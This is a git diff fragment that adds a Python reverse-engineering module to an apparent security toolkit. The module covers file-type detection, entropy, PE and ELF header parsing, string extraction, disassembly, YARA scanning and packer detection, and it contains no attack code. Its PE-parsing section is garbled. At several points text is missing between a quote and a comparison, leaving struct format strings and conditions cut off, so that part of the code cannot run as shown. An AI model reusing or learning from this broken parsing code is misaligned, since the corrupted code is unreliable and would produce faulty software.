elif fmt == 'markdown': + content = svc.export_markdown(rid) + else: + content = svc.export_json(rid) + if content: + ext = {'html': 'html', 'markdown': 'md', 'json': 'json'}.get(fmt, 'txt') + outpath = os.path.join(svc._data_dir, f'{rid}.{ext}') + with open(outpath, 'w') as f: + f.write(content) + print(f" Exported to: {outpath}") + else: + print(" Report not found.") + elif choice == '5': + for t in FINDING_TEMPLATES: + print(f" [{t['severity'].upper():8s}] {t['title']} (CVSS {t['cvss']})") diff --git a/modules/reverse_eng.py b/modules/reverse_eng.py new file mode 100644 index 0000000..658e63b --- /dev/null +++ b/modules/reverse_eng.py @@ -0,0 +1,1979 @@ +"""AUTARCH Reverse Engineering Toolkit + +Binary analysis, PE/ELF parsing, disassembly, YARA scanning, +hex viewing, packer detection, and Ghidra headless integration. +""" + +DESCRIPTION = "Binary analysis, disassembly & reverse engineering" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import sys +import re +import math +import json +import struct +import hashlib +import subprocess +import tempfile +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any, Tuple + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + def find_tool(name, extra_paths=None): + import shutil + return shutil.which(name) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + CYAN = BOLD = GREEN = YELLOW = RED = WHITE = DIM = RESET = "" + def clear_screen(): pass + def display_banner(): pass + +# Optional: capstone disassembler +try: + import capstone + HAS_CAPSTONE = True +except ImportError: + HAS_CAPSTONE = False + +# Optional: yara-python +try: + import yara + HAS_YARA = True +except ImportError: + HAS_YARA = False + + +# ── Magic Bytes ────────────────────────────────────────────────────────────── + +MAGIC_BYTES = { + b'\x4d\x5a': 'PE', + b'\x7fELF': 'ELF', + b'\xfe\xed\xfa\xce': 'Mach-O (32-bit)', + b'\xfe\xed\xfa\xcf': 'Mach-O (64-bit)', + b'\xce\xfa\xed\xfe': 'Mach-O (32-bit, reversed)', + b'\xcf\xfa\xed\xfe': 'Mach-O (64-bit, reversed)', + b'\xca\xfe\xba\xbe': 'Mach-O (Universal)', + b'\x50\x4b\x03\x04': 'ZIP/JAR/APK/DOCX', + b'\x50\x4b\x05\x06': 'ZIP (empty)', + b'\x25\x50\x44\x46': 'PDF', + b'\xd0\xcf\x11\xe0': 'OLE2 (DOC/XLS/PPT)', + b'\x89\x50\x4e\x47': 'PNG', + b'\xff\xd8\xff': 'JPEG', + b'\x47\x49\x46\x38': 'GIF', + b'\x1f\x8b': 'GZIP', + b'\x42\x5a\x68': 'BZIP2', + b'\xfd\x37\x7a\x58': 'XZ', + b'\x37\x7a\xbc\xaf': '7-Zip', + b'\x52\x61\x72\x21': 'RAR', + b'\xca\xfe\xba\xbe': 'Java Class / Mach-O Universal', + b'\x7f\x45\x4c\x46': 'ELF', + b'\x23\x21': 'Script (shebang)', + b'\x00\x61\x73\x6d': 'WebAssembly', + b'\xed\xab\xee\xdb': 'RPM', + b'\x21\x3c\x61\x72': 'Debian/AR archive', +} + + +# ── Packer Signatures ─────────────────────────────────────────────────────── + +PACKER_SIGNATURES = { + 'UPX': { + 'section_names': [b'UPX0', b'UPX1', b'UPX2', b'UPX!'], + 'magic': [b'UPX!', b'UPX0', b'\x55\x50\x58'], + 'description': 'Ultimate Packer for Executables', + }, + 'Themida': { + 'section_names': [b'.themida', b'.winlice'], + 'magic': [], + 'description': 'Themida / WinLicense protector', + }, + 'ASPack': { + 'section_names': [b'.aspack', b'.adata'], + 'magic': [b'\x60\xe8\x00\x00\x00\x00\x5d\x81\xed'], + 'description': 'ASPack packer', + }, + 'MPRESS': { + 'section_names': [b'.MPRESS1', b'.MPRESS2'], + 'magic': [], + 'description': 'MPRESS packer', + }, + 'VMProtect': { + 'section_names': [b'.vmp0', b'.vmp1', b'.vmp2'], + 'magic': [], + 'description': 'VMProtect software protection', + }, + 'PECompact': { + 'section_names': [b'PEC2', b'pec1', b'pec2', b'PEC2TO'], + 'magic': [], + 'description': 'PECompact packer', + }, + 'Petite': { + 'section_names': [b'.petite'], + 'magic': [b'\xb8\x00\x00\x00\x00\x66\x9c\x60\x50'], + 'description': 'Petite packer', + }, + 'NSPack': { + 'section_names': [b'.nsp0', b'.nsp1', b'.nsp2', b'nsp0', b'nsp1'], + 'magic': [], + 'description': 'NSPack (North Star) packer', + }, + 'Enigma': { + 'section_names': [b'.enigma1', b'.enigma2'], + 'magic': [], + 'description': 'Enigma Protector', + }, + 'MEW': { + 'section_names': [b'MEW'], + 'magic': [], + 'description': 'MEW packer', + }, +} + + +# ── PE Constants ───────────────────────────────────────────────────────────── + +PE_MACHINE_TYPES = { + 0x0: 'Unknown', + 0x14c: 'x86 (i386)', + 0x166: 'MIPS R4000', + 0x1a2: 'Hitachi SH3', + 0x1a6: 'Hitachi SH4', + 0x1c0: 'ARM', + 0x1c4: 'ARM Thumb-2', + 0x200: 'Intel IA-64', + 0x8664: 'x86-64 (AMD64)', + 0xaa64: 'ARM64 (AArch64)', + 0x5032: 'RISC-V 32-bit', + 0x5064: 'RISC-V 64-bit', +} + +PE_SECTION_FLAGS = { + 0x00000020: 'CODE', + 0x00000040: 'INITIALIZED_DATA', + 0x00000080: 'UNINITIALIZED_DATA', + 0x02000000: 'DISCARDABLE', + 0x04000000: 'NOT_CACHED', + 0x08000000: 'NOT_PAGED', + 0x10000000: 'SHARED', + 0x20000000: 'EXECUTE', + 0x40000000: 'READ', + 0x80000000: 'WRITE', +} + + +# ── ELF Constants ──────────────────────────────────────────────────────────── + +ELF_MACHINE_TYPES = { + 0: 'None', + 2: 'SPARC', + 3: 'x86', + 8: 'MIPS', + 20: 'PowerPC', + 21: 'PowerPC64', + 40: 'ARM', + 43: 'SPARC V9', + 50: 'IA-64', + 62: 'x86-64', + 183: 'AArch64 (ARM64)', + 243: 'RISC-V', + 247: 'eBPF', +} + +ELF_TYPES = {0: 'NONE', 1: 'REL', 2: 'EXEC', 3: 'DYN', 4: 'CORE'} + +ELF_OSABI = { + 0: 'UNIX System V', 1: 'HP-UX', 2: 'NetBSD', 3: 'Linux', + 6: 'Solaris', 7: 'AIX', 8: 'IRIX', 9: 'FreeBSD', 12: 'OpenBSD', +} + +ELF_SH_TYPES = { + 0: 'NULL', 1: 'PROGBITS', 2: 'SYMTAB', 3: 'STRTAB', 4: 'RELA', + 5: 'HASH', 6: 'DYNAMIC', 7: 'NOTE', 8: 'NOBITS', 9: 'REL', + 11: 'DYNSYM', +} + +ELF_PT_TYPES = { + 0: 'NULL', 1: 'LOAD', 2: 'DYNAMIC', 3: 'INTERP', 4: 'NOTE', + 5: 'SHLIB', 6: 'PHDR', 7: 'TLS', + 0x6474e550: 'GNU_EH_FRAME', 0x6474e551: 'GNU_STACK', + 0x6474e552: 'GNU_RELRO', 0x6474e553: 'GNU_PROPERTY', +} + + +# ── ReverseEngineer Class ──────────────────────────────────────────────────── + +class ReverseEngineer: + """Comprehensive binary analysis and reverse engineering toolkit.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() if callable(get_data_dir) else get_data_dir + self.storage_dir = Path(str(data_dir)) / 'reverse_eng' + self.yara_rules_dir = self.storage_dir / 'yara_rules' + self.cache_dir = self.storage_dir / 'cache' + self.storage_dir.mkdir(parents=True, exist_ok=True) + self.yara_rules_dir.mkdir(parents=True, exist_ok=True) + self.cache_dir.mkdir(parents=True, exist_ok=True) + self._analysis_cache: Dict[str, Any] = {} + + # ── File Type Detection ────────────────────────────────────────────── + + def get_file_type(self, file_path: str) -> Dict[str, str]: + """Identify file type from magic bytes.""" + p = Path(file_path) + if not p.exists() or not p.is_file(): + return {'type': 'unknown', 'error': 'File not found'} + + try: + with open(p, 'rb') as f: + header = f.read(16) + except Exception as e: + return {'type': 'unknown', 'error': str(e)} + + if len(header) < 2: + return {'type': 'empty', 'description': 'File too small'} + + # Check magic bytes, longest match first + for magic, file_type in sorted(MAGIC_BYTES.items(), key=lambda x: -len(x[0])): + if header[:len(magic)] == magic: + return {'type': file_type, 'magic_hex': magic.hex()} + + # Heuristic: check if text file + try: + with open(p, 'rb') as f: + sample = f.read(8192) + text_chars = set(range(7, 14)) | set(range(32, 127)) | {0} + non_text = sum(1 for b in sample if b not in text_chars) + if non_text / max(len(sample), 1) < 0.05: + return {'type': 'Text', 'description': 'ASCII/UTF-8 text file'} + except Exception: + pass + + return {'type': 'unknown', 'magic_hex': header[:8].hex()} + + # ── Entropy Calculation ────────────────────────────────────────────── + + def calculate_entropy(self, data: bytes) -> float: + """Calculate Shannon entropy of byte data. Returns 0.0 to 8.0.""" + if not data: + return 0.0 + freq = [0] * 256 + for b in data: + freq[b] += 1 + length = len(data) + entropy = 0.0 + for count in freq: + if count > 0: + p = count / length + entropy -= p * math.log2(p) + return round(entropy, 4) + + def section_entropy(self, file_path: str) -> List[Dict[str, Any]]: + """Calculate entropy per section for PE/ELF binaries.""" + ft = self.get_file_type(file_path) + file_type = ft.get('type', '') + + results = [] + if file_type == 'PE': + pe_info = self.parse_pe(file_path) + if 'error' not in pe_info: + with open(file_path, 'rb') as f: + for sec in pe_info.get('sections', []): + offset = sec.get('raw_offset', 0) + size = sec.get('raw_size', 0) + if size > 0 and offset > 0: + f.seek(offset) + data = f.read(size) + ent = self.calculate_entropy(data) + results.append({ + 'name': sec.get('name', ''), + 'offset': offset, + 'size': size, + 'entropy': ent, + 'packed': ent > 7.0, + }) + elif file_type == 'ELF': + elf_info = self.parse_elf(file_path) + if 'error' not in elf_info: + with open(file_path, 'rb') as f: + for sec in elf_info.get('sections', []): + offset = sec.get('offset', 0) + size = sec.get('size', 0) + if size > 0 and offset > 0: + f.seek(offset) + data = f.read(size) + ent = self.calculate_entropy(data) + results.append({ + 'name': sec.get('name', ''), + 'offset': offset, + 'size': size, + 'entropy': ent, + 'packed': ent > 7.0, + }) + return results + + # ── Comprehensive Binary Analysis ──────────────────────────────────── + + def analyze_binary(self, file_path: str) -> Dict[str, Any]: + """Comprehensive binary analysis: type, hashes, entropy, strings, architecture.""" + p = Path(file_path) + if not p.exists() or not p.is_file(): + return {'error': f'File not found: {file_path}'} + + stat = p.stat() + + # Read file data + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': f'Cannot read file: {e}'} + + # File type + file_type = self.get_file_type(file_path) + + # Hashes + hashes = { + 'md5': hashlib.md5(data).hexdigest(), + 'sha1': hashlib.sha1(data).hexdigest(), + 'sha256': hashlib.sha256(data).hexdigest(), + } + + # Overall entropy + overall_entropy = self.calculate_entropy(data) + + # Section entropy + sec_entropy = self.section_entropy(file_path) + + # Architecture detection + arch = 'unknown' + ftype = file_type.get('type', '') + if ftype == 'PE': + pe = self.parse_pe(file_path) + arch = pe.get('machine_str', 'unknown') + elif ftype == 'ELF': + elf = self.parse_elf(file_path) + arch = elf.get('machine_str', 'unknown') + + # Extract strings (limited to first 1MB for speed) + sample = data[:1024 * 1024] + strings = self._extract_strings_from_data(sample, min_length=4) + + # Packer detection + packer = self.detect_packer(file_path) + + result = { + 'file': str(p.absolute()), + 'name': p.name, + 'size': stat.st_size, + 'size_human': self._human_size(stat.st_size), + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + 'created': datetime.fromtimestamp(stat.st_ctime).isoformat(), + 'file_type': file_type, + 'architecture': arch, + 'hashes': hashes, + 'entropy': overall_entropy, + 'entropy_level': 'high' if overall_entropy > 7.0 else ('medium' if overall_entropy > 6.0 else 'low'), + 'section_entropy': sec_entropy, + 'strings_count': len(strings), + 'strings_preview': strings[:100], + 'packer': packer, + } + + # Add imports/exports if applicable + if ftype == 'PE': + result['imports'] = self.get_imports(file_path) + result['exports'] = self.get_exports(file_path) + elif ftype == 'ELF': + result['imports'] = self.get_imports(file_path) + result['exports'] = self.get_exports(file_path) + + # Cache result + self._analysis_cache[file_path] = result + return result + + # ── PE Parsing ─────────────────────────────────────────────────────── + + def parse_pe(self, file_path: str) -> Dict[str, Any]: + """Parse PE (Portable Executable) headers using struct.unpack.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e)} + + if len(data) < 64 or data[:2] != b'\x4d\x5a': + return {'error': 'Not a valid PE file (missing MZ header)'} + + # DOS Header + e_lfanew = struct.unpack_from(' len(data): + return {'error': 'Invalid PE offset'} + + # PE Signature + pe_sig = data[e_lfanew:e_lfanew + 4] + if pe_sig != b'PE\x00\x00': + return {'error': 'Invalid PE signature'} + + # COFF Header (20 bytes after PE signature) + coff_offset = e_lfanew + 4 + if coff_offset + 20 > len(data): + return {'error': 'Truncated COFF header'} + + machine, num_sections, time_stamp, sym_table_ptr, num_symbols, \ + opt_header_size, characteristics = struct.unpack_from( + ' len(data): + return {'error': 'Truncated optional header'} + + opt_magic = struct.unpack_from(' len(data): + break + name_raw = data[off:off + 8] + name = name_raw.rstrip(b'\x00').decode('ascii', errors='replace') + vsize, vaddr, raw_size, raw_offset, reloc_ptr, linenum_ptr, \ + num_relocs, num_linenums, chars = struct.unpack_from( + ' Dict[str, Any]: + """Parse ELF (Executable and Linkable Format) headers using struct.unpack.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e)} + + if len(data) < 16 or data[:4] != b'\x7fELF': + return {'error': 'Not a valid ELF file'} + + # ELF Identification + ei_class = data[4] # 1=32-bit, 2=64-bit + ei_data = data[5] # 1=little-endian, 2=big-endian + ei_version = data[6] + ei_osabi = data[7] + + is_64 = (ei_class == 2) + endian = '<' if ei_data == 1 else '>' + bits_str = '64-bit' if is_64 else '32-bit' + endian_str = 'Little Endian' if ei_data == 1 else 'Big Endian' + + # ELF Header + if is_64: + if len(data) < 64: + return {'error': 'Truncated ELF64 header'} + e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, \ + e_flags, e_ehsize, e_phentsize, e_phnum, e_shentsize, \ + e_shnum, e_shstrndx = struct.unpack_from( + f'{endian}HHIQQQIHHHHHH', data, 16) + else: + if len(data) < 52: + return {'error': 'Truncated ELF32 header'} + e_type, e_machine, e_version, e_entry, e_phoff, e_shoff, \ + e_flags, e_ehsize, e_phentsize, e_phnum, e_shentsize, \ + e_shnum, e_shstrndx = struct.unpack_from( + f'{endian}HHIIIIIHHHHHH', data, 16) + + machine_str = ELF_MACHINE_TYPES.get(e_machine, f'Unknown ({e_machine})') + type_str = ELF_TYPES.get(e_type, f'Unknown ({e_type})') + osabi_str = ELF_OSABI.get(ei_osabi, f'Unknown ({ei_osabi})') + + # Section Headers + sections = [] + shstrtab_data = b'' + if e_shstrndx < e_shnum and e_shoff > 0: + strtab_off = e_shoff + e_shstrndx * e_shentsize + if is_64 and strtab_off + 64 <= len(data): + sh_offset = struct.unpack_from(f'{endian}Q', data, strtab_off + 24)[0] + sh_size = struct.unpack_from(f'{endian}Q', data, strtab_off + 32)[0] + elif not is_64 and strtab_off + 40 <= len(data): + sh_offset = struct.unpack_from(f'{endian}I', data, strtab_off + 16)[0] + sh_size = struct.unpack_from(f'{endian}I', data, strtab_off + 20)[0] + else: + sh_offset = 0 + sh_size = 0 + if sh_offset + sh_size <= len(data): + shstrtab_data = data[sh_offset:sh_offset + sh_size] + + for i in range(e_shnum): + off = e_shoff + i * e_shentsize + if is_64: + if off + 64 > len(data): + break + sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, \ + sh_link, sh_info, sh_addralign, sh_entsize = struct.unpack_from( + f'{endian}IIQQQQIIQQ', data, off) + else: + if off + 40 > len(data): + break + sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, \ + sh_link, sh_info, sh_addralign, sh_entsize = struct.unpack_from( + f'{endian}IIIIIIIIII', data, off) + + # Resolve section name from string table + name = '' + if sh_name < len(shstrtab_data): + end = shstrtab_data.index(b'\x00', sh_name) if b'\x00' in shstrtab_data[sh_name:] else len(shstrtab_data) + name = shstrtab_data[sh_name:end].decode('ascii', errors='replace') + + type_name = ELF_SH_TYPES.get(sh_type, f'0x{sh_type:x}') + + sections.append({ + 'name': name, + 'type': type_name, + 'type_raw': sh_type, + 'flags': f'0x{sh_flags:x}', + 'address': f'0x{sh_addr:x}', + 'offset': sh_offset, + 'size': sh_size, + 'link': sh_link, + 'info': sh_info, + 'alignment': sh_addralign, + 'entry_size': sh_entsize, + }) + + # Program Headers + program_headers = [] + for i in range(e_phnum): + off = e_phoff + i * e_phentsize + if is_64: + if off + 56 > len(data): + break + p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, \ + p_memsz, p_align = struct.unpack_from( + f'{endian}IIQQQQQQ', data, off) + else: + if off + 32 > len(data): + break + p_type, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, \ + p_flags, p_align = struct.unpack_from( + f'{endian}IIIIIIII', data, off) + + pt_name = ELF_PT_TYPES.get(p_type, f'0x{p_type:x}') + perm_str = '' + perm_str += 'R' if p_flags & 4 else '-' + perm_str += 'W' if p_flags & 2 else '-' + perm_str += 'X' if p_flags & 1 else '-' + + program_headers.append({ + 'type': pt_name, + 'type_raw': p_type, + 'flags': perm_str, + 'offset': f'0x{p_offset:x}', + 'vaddr': f'0x{p_vaddr:x}', + 'paddr': f'0x{p_paddr:x}', + 'file_size': p_filesz, + 'mem_size': p_memsz, + 'alignment': p_align, + }) + + # Dynamic section symbols + dynamic = [] + for sec in sections: + if sec['type'] == 'DYNAMIC' and sec['size'] > 0: + dyn_off = sec['offset'] + dyn_size = sec['size'] + entry_sz = 16 if is_64 else 8 + for j in range(0, dyn_size, entry_sz): + off = dyn_off + j + if is_64 and off + 16 <= len(data): + d_tag, d_val = struct.unpack_from(f'{endian}qQ', data, off) + elif not is_64 and off + 8 <= len(data): + d_tag, d_val = struct.unpack_from(f'{endian}iI', data, off) + else: + break + if d_tag == 0: + break + dynamic.append({'tag': d_tag, 'value': f'0x{d_val:x}'}) + + result = { + 'format': 'ELF', + 'class': bits_str, + 'endianness': endian_str, + 'osabi': osabi_str, + 'type': type_str, + 'type_raw': e_type, + 'machine': f'0x{e_machine:x}', + 'machine_str': machine_str, + 'entry_point': f'0x{e_entry:x}', + 'flags': f'0x{e_flags:x}', + 'num_sections': e_shnum, + 'num_program_headers': e_phnum, + 'sections': sections, + 'program_headers': program_headers, + 'dynamic': dynamic[:50], + } + + return result + + # ── String Extraction ──────────────────────────────────────────────── + + def _extract_strings_from_data(self, data: bytes, min_length: int = 4) -> List[Dict[str, Any]]: + """Extract ASCII and Unicode strings from raw byte data.""" + results = [] + + # ASCII strings + ascii_pattern = re.compile(rb'[\x20-\x7e]{' + str(min_length).encode() + rb',}') + for match in ascii_pattern.finditer(data): + results.append({ + 'offset': match.start(), + 'string': match.group().decode('ascii', errors='replace'), + 'encoding': 'ascii', + }) + + # UTF-16LE strings (common in PE binaries) + i = 0 + while i < len(data) - 1: + # Look for sequences of printable chars with null bytes interleaved + chars = [] + start = i + while i < len(data) - 1: + lo, hi = data[i], data[i + 1] + if hi == 0 and 0x20 <= lo <= 0x7e: + chars.append(chr(lo)) + i += 2 + else: + break + if len(chars) >= min_length: + results.append({ + 'offset': start, + 'string': ''.join(chars), + 'encoding': 'unicode', + }) + else: + i += 1 + + # Sort by offset and deduplicate + results.sort(key=lambda x: x['offset']) + return results + + def extract_strings(self, file_path: str, min_length: int = 4, + encoding: str = 'both') -> List[Dict[str, Any]]: + """Extract printable strings from a binary file.""" + p = Path(file_path) + if not p.exists(): + return [] + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception: + return [] + + results = self._extract_strings_from_data(data, min_length) + + if encoding == 'ascii': + results = [s for s in results if s['encoding'] == 'ascii'] + elif encoding == 'unicode': + results = [s for s in results if s['encoding'] == 'unicode'] + + return results + + # ── Disassembly ────────────────────────────────────────────────────── + + def disassemble(self, data: bytes, arch: str = 'x64', mode: str = '64', + offset: int = 0, count: int = 0) -> List[Dict[str, Any]]: + """Disassemble raw bytes. Uses capstone if available, otherwise objdump.""" + if HAS_CAPSTONE: + return self._disassemble_capstone(data, arch, mode, offset, count) + return self._disassemble_objdump(data, arch, offset, count) + + def _disassemble_capstone(self, data: bytes, arch: str, mode: str, + offset: int, count: int) -> List[Dict[str, Any]]: + """Disassemble using capstone.""" + arch_map = { + 'x86': (capstone.CS_ARCH_X86, capstone.CS_MODE_32), + 'x64': (capstone.CS_ARCH_X86, capstone.CS_MODE_64), + 'arm': (capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM), + 'arm64': (capstone.CS_ARCH_ARM64, capstone.CS_MODE_ARM), + 'mips': (capstone.CS_ARCH_MIPS, capstone.CS_MODE_MIPS32), + } + + cs_arch, cs_mode = arch_map.get(arch.lower(), (capstone.CS_ARCH_X86, capstone.CS_MODE_64)) + md = capstone.Cs(cs_arch, cs_mode) + + instructions = [] + for i, (address, size, mnemonic, op_str) in enumerate(md.disasm_lite(data, offset)): + if count > 0 and i >= count: + break + inst_bytes = data[address - offset:address - offset + size] + instructions.append({ + 'address': f'0x{address:08x}', + 'mnemonic': mnemonic, + 'op_str': op_str, + 'bytes_hex': inst_bytes.hex(), + 'size': size, + }) + + return instructions + + def _disassemble_objdump(self, data: bytes, arch: str, + offset: int, count: int) -> List[Dict[str, Any]]: + """Disassemble using objdump as fallback.""" + objdump = find_tool('objdump') + if not objdump: + return [{'error': 'No disassembler available. Install capstone (pip install capstone) or objdump.'}] + + # Write data to temporary file + with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as tmp: + tmp.write(data) + tmp_path = tmp.name + + try: + arch_flag = { + 'x86': 'i386', 'x64': 'i386:x86-64', + 'arm': 'arm', 'arm64': 'aarch64', + }.get(arch.lower(), 'i386:x86-64') + + cmd = [objdump, '-D', '-b', 'binary', '-m', arch_flag, tmp_path] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + + instructions = [] + for line in result.stdout.splitlines(): + match = re.match(r'\s*([0-9a-f]+):\s+([0-9a-f ]+?)\s+(\w+)\s*(.*)', line) + if match: + addr_str, bytes_hex, mnemonic, op_str = match.groups() + instructions.append({ + 'address': f'0x{int(addr_str, 16) + offset:08x}', + 'mnemonic': mnemonic.strip(), + 'op_str': op_str.strip(), + 'bytes_hex': bytes_hex.replace(' ', ''), + }) + if count > 0 and len(instructions) >= count: + break + + return instructions + except Exception as e: + return [{'error': f'objdump failed: {e}'}] + finally: + try: + os.unlink(tmp_path) + except Exception: + pass + + def disassemble_file(self, file_path: str, section: str = '.text', + offset: int = 0, count: int = 100) -> List[Dict[str, Any]]: + """Disassemble a specific section of a binary file.""" + p = Path(file_path) + if not p.exists(): + return [{'error': 'File not found'}] + + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + arch = 'x64' + sec_offset = offset + sec_size = 0 + + if ftype == 'PE': + pe = self.parse_pe(file_path) + if 'error' in pe: + return [{'error': pe['error']}] + machine = pe.get('machine', '') + if '14c' in machine: + arch = 'x86' + elif 'aa64' in machine: + arch = 'arm64' + elif '1c0' in machine or '1c4' in machine: + arch = 'arm' + + for sec in pe.get('sections', []): + if sec['name'].strip('\x00') == section.strip('.'): + sec_offset = sec['raw_offset'] + offset + sec_size = sec['raw_size'] + break + elif sec['name'].strip('\x00').lower() == section.lstrip('.').lower(): + sec_offset = sec['raw_offset'] + offset + sec_size = sec['raw_size'] + break + + elif ftype == 'ELF': + elf = self.parse_elf(file_path) + if 'error' in elf: + return [{'error': elf['error']}] + machine_str = elf.get('machine_str', '') + if 'x86-64' in machine_str: + arch = 'x64' + elif 'x86' in machine_str: + arch = 'x86' + elif 'ARM64' in machine_str or 'AArch64' in machine_str: + arch = 'arm64' + elif 'ARM' in machine_str: + arch = 'arm' + + for sec in elf.get('sections', []): + if sec['name'] == section: + sec_offset = sec['offset'] + offset + sec_size = sec['size'] + break + + # Read section data + try: + with open(p, 'rb') as f: + if sec_size > 0: + f.seek(sec_offset) + data = f.read(min(sec_size, 0x10000)) + else: + f.seek(sec_offset) + data = f.read(0x10000) + except Exception as e: + return [{'error': f'Cannot read file: {e}'}] + + return self.disassemble(data, arch=arch, offset=sec_offset, count=count) + + # ── YARA Scanning ──────────────────────────────────────────────────── + + def yara_scan(self, file_path: str, rules_path: Optional[str] = None, + rules_string: Optional[str] = None) -> Dict[str, Any]: + """Scan a file with YARA rules.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found', 'matches': []} + + if HAS_YARA: + return self._yara_scan_python(file_path, rules_path, rules_string) + return self._yara_scan_cli(file_path, rules_path, rules_string) + + def _yara_scan_python(self, file_path: str, rules_path: Optional[str], + rules_string: Optional[str]) -> Dict[str, Any]: + """Scan using yara-python library.""" + try: + if rules_string: + rules = yara.compile(source=rules_string) + elif rules_path: + rules = yara.compile(filepath=rules_path) + else: + # Use all rules in yara_rules directory + rule_files = list(self.yara_rules_dir.glob('*.yar')) + \ + list(self.yara_rules_dir.glob('*.yara')) + if not rule_files: + return {'error': 'No YARA rules found', 'matches': []} + sources = {} + for rf in rule_files: + ns = rf.stem + sources[ns] = str(rf) + rules = yara.compile(filepaths=sources) + + matches = rules.match(file_path) + results = [] + for match in matches: + strings_found = [] + for string_match in match.strings: + for instance in string_match.instances: + strings_found.append({ + 'offset': instance.offset, + 'identifier': string_match.identifier, + 'data': instance.matched_data.hex() if len(instance.matched_data) <= 64 else instance.matched_data[:64].hex() + '...', + }) + results.append({ + 'rule': match.rule, + 'namespace': match.namespace, + 'tags': list(match.tags), + 'meta': dict(match.meta) if match.meta else {}, + 'strings': strings_found, + }) + + return {'matches': results, 'total': len(results), 'engine': 'yara-python'} + + except Exception as e: + return {'error': str(e), 'matches': []} + + def _yara_scan_cli(self, file_path: str, rules_path: Optional[str], + rules_string: Optional[str]) -> Dict[str, Any]: + """Scan using yara CLI tool as fallback.""" + yara_bin = find_tool('yara') + if not yara_bin: + return {'error': 'YARA not available. Install yara-python (pip install yara-python) or yara CLI.', 'matches': []} + + try: + if rules_string: + with tempfile.NamedTemporaryFile(suffix='.yar', mode='w', delete=False) as tmp: + tmp.write(rules_string) + tmp_rules = tmp.name + rules_file = tmp_rules + elif rules_path: + rules_file = rules_path + tmp_rules = None + else: + rule_files = list(self.yara_rules_dir.glob('*.yar')) + \ + list(self.yara_rules_dir.glob('*.yara')) + if not rule_files: + return {'error': 'No YARA rules found', 'matches': []} + rules_file = str(rule_files[0]) + tmp_rules = None + + cmd = [yara_bin, '-s', rules_file, file_path] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + + matches = [] + current_rule = None + for line in result.stdout.splitlines(): + rule_match = re.match(r'^(\S+)\s+\S+$', line) + if rule_match and ':' not in line: + current_rule = {'rule': rule_match.group(1), 'strings': []} + matches.append(current_rule) + elif current_rule and ':' in line: + parts = line.strip().split(':', 2) + if len(parts) >= 3: + current_rule['strings'].append({ + 'offset': int(parts[0], 0) if parts[0].strip() else 0, + 'identifier': parts[1].strip(), + 'data': parts[2].strip(), + }) + + if tmp_rules: + os.unlink(tmp_rules) + + return {'matches': matches, 'total': len(matches), 'engine': 'yara-cli'} + + except Exception as e: + return {'error': str(e), 'matches': []} + + def list_yara_rules(self) -> List[Dict[str, str]]: + """List available YARA rule files.""" + rules = [] + for ext in ('*.yar', '*.yara'): + for f in self.yara_rules_dir.glob(ext): + stat = f.stat() + rules.append({ + 'name': f.name, + 'path': str(f), + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + }) + return sorted(rules, key=lambda x: x['name']) + + # ── Packer Detection ───────────────────────────────────────────────── + + def detect_packer(self, file_path: str) -> Dict[str, Any]: + """Detect common executable packers.""" + p = Path(file_path) + if not p.exists(): + return {'detected': False, 'error': 'File not found'} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'detected': False, 'error': str(e)} + + ft = self.get_file_type(file_path) + detections = [] + + # Check magic byte signatures in file body + for packer, sig_info in PACKER_SIGNATURES.items(): + score = 0 + evidence = [] + + # Check for magic byte patterns + for pattern in sig_info.get('magic', []): + idx = data.find(pattern) + if idx != -1: + score += 40 + evidence.append(f'Magic pattern at offset 0x{idx:x}') + + # Check section names (for PE files) + if ft.get('type') == 'PE': + pe = self.parse_pe(file_path) + if 'error' not in pe: + for sec in pe.get('sections', []): + sec_name = sec['name'].encode('ascii', errors='ignore') + for packer_sec in sig_info.get('section_names', []): + if sec_name.rstrip(b'\x00').startswith(packer_sec.rstrip(b'\x00')): + score += 50 + evidence.append(f'Section name: {sec["name"]}') + + if score > 0: + detections.append({ + 'packer': packer, + 'confidence': min(score, 100), + 'description': sig_info.get('description', ''), + 'evidence': evidence, + }) + + # Heuristic checks + overall_entropy = self.calculate_entropy(data) + if overall_entropy > 7.2: + detections.append({ + 'packer': 'Unknown (high entropy)', + 'confidence': 60, + 'description': f'High overall entropy ({overall_entropy:.2f}) suggests packing or encryption', + 'evidence': [f'Entropy: {overall_entropy:.4f}'], + }) + + # Check for small code section with high entropy (common in packed binaries) + if ft.get('type') == 'PE': + sec_ent = self.section_entropy(file_path) + high_ent_sections = [s for s in sec_ent if s.get('entropy', 0) > 7.0] + if high_ent_sections and not detections: + names = ', '.join(s['name'] for s in high_ent_sections) + detections.append({ + 'packer': 'Unknown (packed sections)', + 'confidence': 50, + 'description': f'High entropy sections detected: {names}', + 'evidence': [f'{s["name"]}: entropy {s["entropy"]:.2f}' for s in high_ent_sections], + }) + + # Sort by confidence + detections.sort(key=lambda x: -x['confidence']) + + return { + 'detected': len(detections) > 0, + 'detections': detections, + 'overall_entropy': overall_entropy if 'overall_entropy' in dir() else self.calculate_entropy(data), + } + + 